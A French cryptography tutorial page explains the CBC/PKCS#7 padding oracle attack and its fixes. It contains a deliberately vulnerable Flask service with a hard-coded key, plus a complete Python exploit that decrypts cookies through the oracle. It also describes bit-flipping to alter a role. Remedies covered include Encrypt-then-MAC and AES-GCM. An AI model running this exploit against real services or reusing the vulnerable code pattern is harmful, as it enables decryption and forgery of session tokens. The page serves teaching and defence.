Exploiter un padding oracle CBC avec PKCS#7
Section intitulée « Exploiter un padding oracle CBC avec PKCS#7 »Un chiffrement AES (Advanced Encryption Standard) en mode CBC (Cipher Block Chaining) ne garantit que la confidentialité, et encore, sous des conditions strictes. Si un service révèle si le bourrage PKCS#7 (Public-Key Cryptography Standards #7) est valide après déchiffrement, il devient possible de retrouver le texte chiffré sans posséder la clé.
Une porte blindée peut rester inviolable tout en révélant trop d’informations par les bruits qu’elle produit quand une mauvaise clé est essayée. Si un gardien répond différemment selon la raison du refus, ces réponses finissent par permettre de reconstituer ce qui devait rester caché.
→ Lire l’explication complète de la marmotte
Le parallèle avec l’attaque de Bleichenbacher est intentionnel : dans les deux cas, l’algorithme cryptographique reste intact, mais son environnement répond à une question qu’il devait garder pour lui. Ici, la question porte sur la validité du bourrage d’un bloc symétrique, pas sur RSA (Rivest, Shamir, Adleman).
CBC, PKCS#7 et le bit d’information fatal
Section intitulée « CBC, PKCS#7 et le bit d’information fatal »CBC découpe le message en blocs de taille fixe. AES utilise des blocs de 16 octets. Pour chaque bloc chiffré C_i, le déchiffrement calcule :
P_i = D_K(C_i) XOR C_(i-1)D_K désigne le déchiffrement avec la clé secrète K, P_i le bloc en texte lisible, et C_(i-1) le bloc chiffré précédent. Pour le premier bloc, C_(i-1) est remplacé par un vecteur d’initialisation, ou IV (Initialization Vector).
CBC possède une propriété qui devient ici un problème : modifier un octet de C_(i-1) modifie l’octet correspondant de P_i, sans avoir besoin de connaître K. L’attaquant ne contrôle pas directement le résultat, mais contrôle sa différence avec le résultat d’origine. C’est largement suffisant.
PKCS#7 ajoute des octets à la fin avant chiffrement afin d’atteindre un multiple de 16 octets. Un message auquel il manque trois octets reçoit 03 03 03. Un message déjà aligné reçoit un bloc entier de 10, répété 16 fois. Au déchiffrement, le serveur lit le dernier octet et exige que les n derniers octets valent tous n.
Cette structure rend le résultat testable. Une réponse indiquant « bourrage invalide » apprend qu’une hypothèse est fausse. Toute autre réponse apprend qu’elle est vraie. Un seul bit d’information par requête suffit. Le serveur devient un oracle de bourrage, c’est-à-dire une fonction qui révèle si une donnée secrète satisfait une condition.
Le compromis central est brutal : CBC avec PKCS#7 facilite le traitement des messages de longueur variable, mais n’apporte aucune intégrité. Ajouter un contrôle d’erreur bavard transforme ce compromis en fuite active. La recommandation est de ne plus concevoir de nouveau protocole avec CBC, sauf contrainte d’interopérabilité documentée et accompagnée d’un schéma Encrypt-then-MAC correctement vérifié avant déchiffrement. Un chiffrement sans authentification n’est pas un chiffrement de session, malgré ce que certaines slides appellent encore de la défense en profondeur.
Service CBC vulnérable reproductible
Section intitulée « Service CBC vulnérable reproductible »L’environnement de laboratoire requiert Python 3.11 ou supérieur, pip, et le paquet pycryptodome. Le service suivant expose un cookie chiffré contenant un rôle applicatif. Il est volontairement vulnérable : l’erreur de bourrage reçoit le code HTTP (Hypertext Transfer Protocol) 422, tandis que les autres erreurs reçoivent 400.
# Créer un environnement isolé et installer les dépendances.python3 -m venv .venv. .venv/bin/activatepip install flask pycryptodome
# Lancer ensuite : python service.pyimport base64import os
from flask import Flask, jsonify, requestfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpad
app = Flask(__name__)
# Démonstration uniquement : une clé stable rend le laboratoire reproductible.KEY = bytes.fromhex("00112233445566778899aabbccddeeff")BLOCK = 16
def encrypt(plaintext: bytes) -> str: iv = os.urandom(BLOCK) cipher = AES.new(KEY, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(plaintext, BLOCK)) return base64.urlsafe_b64encode(iv + ciphertext).decode()
@app.get("/sample")def sample(): cookie = encrypt(b"user=alice;role=admin;expires=2099-12-31") return jsonify({"cookie": cookie})
@app.post("/session")def session(): try: raw = base64.urlsafe_b64decode(request.json["cookie"]) iv, ciphertext = raw[:BLOCK], raw[BLOCK:]
if len(ciphertext) == 0 or len(ciphertext) % BLOCK != 0: return jsonify({"error": "format invalide"}), 400
plaintext_padded = AES.new(KEY, AES.MODE_CBC, iv).decrypt(ciphertext)
try: plaintext = unpad(plaintext_padded, BLOCK) except ValueError: # La fuite : cette réponse ne doit jamais être distinguable. return jsonify({"error": "padding invalide"}), 422
return jsonify({"session": plaintext.decode("utf-8")}), 200
except Exception: return jsonify({"error": "cookie invalide"}), 400
app.run(host="127.0.0.1", port=5000)La vulnérabilité ne dépend pas du texte padding invalide. Un code HTTP distinct, une taille de réponse différente, une fermeture de connexion, un délai statistiquement mesurable ou une trace exposée par un proxy suffisent. Uniformiser le JSON tout en gardant 422 pour ce cas ne corrige rien. Changer le costume du canari ne le rend pas moins mort.
Le service ne doit rester accessible que sur 127.0.0.1. Une démonstration d’oracle sur un environnement tiers sans mandat explicite cesse d’être une démonstration et devient un incident.
Exploitation bloc par bloc du padding oracle
Section intitulée « Exploitation bloc par bloc du padding oracle »Le script récupère le cookie d’essai, attaque les blocs de droite à gauche, puis retrouve chaque octet de texte. Pour attaquer C_i, il envoie un faux bloc précédent C'_(i-1) suivi de C_i. Il force d’abord le dernier octet du texte déchiffré à valoir 01, puis les deux derniers à valoir 02 02, et ainsi de suite.
La variable intermédiaire I_i = D_K(C_i) est inconnue, mais l’oracle permet de la calculer. Pour un octet de position j, lorsque le bourrage voulu vaut p, un essai valide donne :
I_i[j] = C'_(i-1)[j] XOR pP_i[j] = I_i[j] XOR C_(i-1)[j]import base64import requests
BASE = "http://127.0.0.1:5000"BLOCK = 16
def oracle(payload: bytes) -> bool: """True signifie uniquement : le bourrage était accepté.""" cookie = base64.urlsafe_b64encode(payload).decode() response = requests.post(f"{BASE}/session", json={"cookie": cookie}, timeout=3) return response.status_code != 422
def decrypt_block(previous: bytes, current: bytes) -> bytes: crafted = bytearray(BLOCK) intermediate = bytearray(BLOCK) plaintext = bytearray(BLOCK)
for index in range(BLOCK - 1, -1, -1): padding = BLOCK - index
# Préparer les octets déjà connus pour obtenir p p p ... p. for tail in range(index + 1, BLOCK): crafted[tail] = intermediate[tail] ^ padding
for guess in range(256): crafted[index] = guess
# Un IV artificiel sert pour le premier bloc. Les blocs précédents # ne sont pas nécessaires : seul le couple crafted || current compte. if oracle(bytes(crafted) + current): # Éviter le faux positif usuel sur le dernier octet : modifier # un octet voisin et vérifier que le bourrage reste accepté. if index == BLOCK - 1: probe = bytearray(crafted) probe[index - 1] ^= 1 if not oracle(bytes(probe) + current): continue
intermediate[index] = guess ^ padding plaintext[index] = intermediate[index] ^ previous[index] break else: raise RuntimeError(f"aucun octet trouvé à la position {index}")
return bytes(plaintext)
sample = requests.get(f"{BASE}/sample", timeout=3).json()["cookie"]raw = base64.urlsafe_b64decode(sample)blocks = [raw[offset:offset + BLOCK] for offset in range(0, len(raw), BLOCK)]
recovered = b""for position in range(1, len(blocks)): recovered = decrypt_block(blocks[position - 1], blocks[position]) + recovered
padding_length = recovered[-1]print(recovered[:-padding_length].decode("utf-8"))L’attaque nécessite au pire 256 essais par octet, soit environ 4 096 requêtes par bloc AES. Elle se parallélise mal à l’intérieur d’un bloc, car chaque octet dépend du précédent, mais elle se rend très praticable sur une interface sans limitation de débit. Une limitation de débit réduit l’exploitation, elle ne ferme pas l’oracle : une fuite exploitable à raison d’une requête par minute reste une fuite. La patience est une dépendance gratuite, livrée sans licence.
L’oracle permet aussi de modifier un cookie sans le déchiffrer complètement. En inversant dans le bloc précédent les bits correspondant à role=user, il devient possible de corrompre ou parfois de transformer une valeur. CBC non authentifié ne protège donc ni la confidentialité ni l’intégrité applicative.
Encrypt-then-MAC et migration vers AES-GCM
Section intitulée « Encrypt-then-MAC et migration vers AES-GCM »La correction prioritaire consiste à vérifier une étiquette d’authentification avant toute tentative de déchiffrement. Encrypt-then-MAC chiffre d’abord avec CBC, puis calcule un HMAC (Hash-based Message Authentication Code) sur une représentation canonique incluant version, IV et texte chiffré. Les clés AES et HMAC doivent être distinctes, idéalement dérivées depuis un secret maître avec un contexte explicite.
La vérification HMAC doit utiliser une comparaison en temps constant. En cas d’échec, le traitement s’arrête avant decrypt() et avant unpad(). Toutes les erreurs externes retournent alors le même statut, le même corps et une durée aussi homogène que l’architecture le permet. Les détails restent dans les journaux internes, avec un identifiant de corrélation sans inclure le cookie brut.
Pour une construction nouvelle, AES-GCM (Galois/Counter Mode) est préférable. GCM est un mode AEAD (Authenticated Encryption with Associated Data) : il chiffre et authentifie dans la même opération. Il impose cependant une règle non négociable : ne jamais réutiliser un nonce avec la même clé. Avec GCM, une réutilisation de nonce peut exposer des relations entre messages et compromettre l’authentification. Une migration qui remplace CBC par GCM tout en générant les nonces avec un compteur volatile redémarré à zéro n’est pas une correction, c’est une mutation avec une moustache.
La rotation doit accepter plusieurs identifiants de clé pendant une période limitée. Le format de jeton doit donc contenir un kid non secret, ou identifiant de clé, et une version de format authentifiés. Un HSM (Hardware Security Module) peut empêcher l’export de la clé maîtresse, mais ne répare ni un ordre de vérification erroné ni un nonce réutilisé. La cryptographie matérielle ne lit pas les branches conditionnelles à la place du code.
Les cookies déjà émis en CBC vulnérable doivent être invalidés à la migration si leur durée de vie dépasse la fenêtre acceptable. La révocation d’une clé ou d’un secret ne supprime pas les jetons déjà acceptés par les instances qui conservent l’ancien matériel cryptographique. La supervision doit compter les échecs d’authentification par version de jeton, détecter les rafales de requêtes invalides et alerter sur toute réponse différenciée au niveau du proxy. Les fondations cryptographiques et les mécanismes d’identité se rejoignent ici : un jeton chiffré est aussi une frontière d’autorisation.
🐝 Ce qui arrive si on s’en passe
Section intitulée « 🐝 Ce qui arrive si on s’en passe »Sans vérification d’intégrité avant déchiffrement, le service reste un oracle de bourrage : chaque réponse qui distingue un padding valide d’un padding invalide, par un code HTTP, une taille, un délai ou une fermeture de connexion, livre un bit à la fois. Un attaquant retrouve alors le contenu d’un cookie chiffré en CBC sans posséder la clé, au prix d’environ 4 096 requêtes par bloc, et peut même altérer une valeur comme un rôle applicatif en inversant des bits du bloc précédent. La confidentialité et l’intégrité tombent ensemble. Une limitation de débit ralentit la fuite sans la fermer, car une extraction à une requête par minute reste une extraction. C’est précisément le schéma décrit par l’attaque de Bleichenbacher : l’algorithme reste intact, mais l’environnement répond à une question qu’il devait garder pour lui.
🦫 Explication de la marmotte 🍫
Section intitulée « 🦫 Explication de la marmotte 🍫 »Le chiffrement étudié découpe un texte en groupes de seize caractères binaires. Le dernier groupe doit être complété pour avoir exactement cette taille. Le complément contient une valeur répétée : s’il manque trois positions, les trois dernières contiennent toutes la valeur trois. Après déchiffrement, le serveur vérifie cette règle avant de lire le contenu.
Chaque groupe chiffré dépend du groupe chiffré précédent. En modifiant un caractère dans le groupe précédent, un attaquant modifie le caractère correspondant dans le groupe déchiffré suivant, sans connaître la clé secrète. Les changements donnent un résultat inconnu, mais ils peuvent être essayés un par un.
Si le serveur répond différemment quand le complément final est correct, il révèle si un essai a produit la bonne valeur. L’attaquant commence par chercher une fin contenant une seule valeur de complément correcte. Puis il cherche une fin de deux valeurs correctes, puis trois, jusqu’à reconstituer tout le groupe. Cette opération est répétée pour chaque groupe du message. La clé n’est jamais calculée, mais le texte caché est retrouvé.
La correction consiste à vérifier d’abord que le message n’a pas été modifié, avec une preuve secrète attachée au message. Si cette preuve est fausse, le serveur rejette tout avant de déchiffrer et retourne toujours la même erreur. Un mode de chiffrement moderne fournit à la fois le secret du texte et cette preuve d’intégrité.
À lire aussi
- Comprendre la cryptanalyse sans perdre le fil pratiqueExpliquer comment lire une attaque cryptographique: modèle, coût, données nécessaires, marge et impact opérationnel.
- Parler le langage des clés, des messages et des attaquantsDonner un vocabulaire stable pour lire tout le reste du site et éviter les confusions récurrentes entre clé, nonce, sel, tag, certificat et secret.
- Prouver qu’un message vient du bon secretExpliquer les MAC, les PRF et les tags symétriques, en insistant sur la vérification stricte et le temps constant.
- Protéger une information en environnement hostilePoser les quatre garanties cryptographiques de base, distinguer primitive et système, et délimiter ce que la cryptographie ne répare jamais.
Pages voisines
La citent
- Comprendre la cryptanalyse sans perdre le fil pratique
- Lire une garantie sans la surinterpréter
- Migrer TLS legacy sans casser les clients anciens
Exploiter un padding oracle CBC avec PKCS#7
Elle cite
- Lien dans les deux sens :Chiffrer et authentifier en une seule construction
- Lien dans les deux sens :Quand l’implémentation parle : temps, cache, fautes et oracles
- Lien dans les deux sens :Transformer un bloc en chiffrement de message
- L'attaque de Bleichenbacher : un oracle de padding contre RSA PKCS#1 v1.5
: les deux pages se citent l’une l’autre.
